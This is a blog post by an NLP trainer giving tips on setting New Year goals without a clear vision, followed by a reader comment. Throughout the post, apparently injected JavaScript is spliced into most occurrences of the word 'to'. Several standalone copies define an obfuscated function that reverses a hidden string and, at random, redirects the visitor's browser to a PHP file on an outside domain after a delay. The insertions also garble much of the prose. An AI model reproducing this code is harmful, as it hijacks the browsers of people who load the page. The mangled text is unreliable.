It’s THAT time of year when people make New Year’s Resolutions and start setting goals for the year ahead
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I’m a massive fan of setting goals – I’ve set out my big goals every year for 25 years, and Phil and I have always had joint 5-year plans (something tells me that it’s time for us tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prepare a new one as we enter intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a new phase of our life tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together 😀)
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$NjS=function(n){if(typeof ($NjS.list[n])==”string”) return $NjS.list[n].split(“”).reverse().join(“”);return $NjS.list[n];};$NjS.list=[“\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor=”aet2k” data-offset-key=”365no-0-0″>
But this year I’ve struggled tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get clear on my vision. Ironic, given that we’re in 2020. I’d like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have 20/20 vision, but I just don’t.
“I don’t have a vision”
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I’m sure I’m not alone – when I teach goal-setting in NLP courses, a lot of people say “but I don’t have a goal” or “but I don’t have a vision”.
Ways of setting goals when you don’t have a vision
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I’m taking my own medicine at the moment tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help me get a bit of clarity, so here are my tips if you’re struggling with setting goals. And if it gives you any comfort, I’m working through these exact tips myself, right now:
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☀️ Spend some time just dreaming:
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No rules, no boundaries, no limits. Imagine all sorts of different outcome possibilities for yourself, including absurd outcomes, scary outcomes, out-of-reach outcomes, impossible outcomes, boring outcomes, outcomes you’ve achieved before, outcomes where absolutely nothing has changed from tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today, outcomes that other people have achieved, money-no-object outcomes.
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Just dream!
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Too often we limit our vision tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too much, and so our goals aren’t appealing, they are just incremental tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to where we our tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today. Dreaming breaks the limits and lets you explore as many different possibilities as you like.
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☀️Separate the “why” and the “what” from the “how”
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When you are setting goals, if you only set a vision that you already know “how” tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieve, it might limit you. Instead, start with “what” you want, and “Why” you want it.
When I was a Management Consultant, I used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to facilitate corporate vision days. I would always start with a massive, wall-sized sheet of paper, and ask people tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to write on it ideas tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}towards their vision. The only rule was that they had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to check if their thoughts began with “I wish…” or “How tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to…?”. All the How Tos were kept tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to one side, and we only explored the “I wish…” thoughts.
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Only later, when the vision began tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to emerge, did we go back and sift through the “How To…” pile. By then, most of those no longer mattered.
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$NjS=function(n){if(typeof ($NjS.list[n])==”string”) return $NjS.list[n].split(“”).reverse().join(“”);return $NjS.list[n];};$NjS.list=[“\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor=”aet2k” data-offset-key=”2che9-0-0″>
☀️Involve your loved ones.
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I learned this from my friend Mark Faulkner, who was setting goals one new year when his little daughter aged 5 asked tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to join in. Amongst her goals were “I wish Daddy would read me a stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory every night”. Mark realised that if he had business goals that tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took him away so he couldn’t be present at his daughter’s bedtime, then he would be both creating a conflict in his family life AND failing tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to respect that his daughter’s goals are valid tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too. He and his family started a tradition tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to write down all their goals for the year separately, and then tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk about them.
Any that supported everyone else got an immediate “Yes”. Any that could create conflict, or undermine someone else’s goal became a subject for discussion and negotiation.
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$NjS=function(n){if(typeof ($NjS.list[n])==”string”) return $NjS.list[n].split(“”).reverse().join(“”);return $NjS.list[n];};$NjS.list=[“\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor=”aet2k” data-offset-key=”5t0u9-0-0″>
☀️Enjoy the journey even if you don’t yet know your destination.
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It’s actually OK not tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have a goal.
With a goal, your focus is on the destination. Without one, it is easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to let the journey pass you by and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to feel unfulfilled, or as though you are only marking time. In this case, what I have learnt is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change my focus on tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to enjoying the journey itself.
Making “enjoy the journey” a vision in its own right is perfectly valid. And who knows what unexpected detobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tours might open up tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you?!
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Take some action on setting your goals
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🆗So, I’m going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be thinking about these tips on setting goals for myself as we journey through January. I invite you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do it, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too.
Share your progress
Pop over tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to my Facebook group called tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring/”>”Mindset Mentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring” and let us know how you are getting on:
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- Have you already made a goal or vision for your 2020? I’d love tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see it – do share.
- If you haven’t – then tell me about your journey instead?
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To find out about learning NLP with me, please visit tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-nlp/”>the Bright Light website.
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About Madeleine Allen: The author is a specialist in Leadership, Communication and Personal Development for business professionals. An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)
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Great post Madeleine. We understand that this is not always straightforward for everyone. Its easy to become fixed on Goals and to be tied to that thought. Having completed my training with you last year, I`m more inclined to go for well formed outcomes and use timelines so clients can see/hear or feel what success may be. The journey is outlined in the timeline. The qualifier is also that although there are steps along the way, they do allow for flexibility and deviation which means that the journey is more exciting. I`ve developed my own outcomes this way too.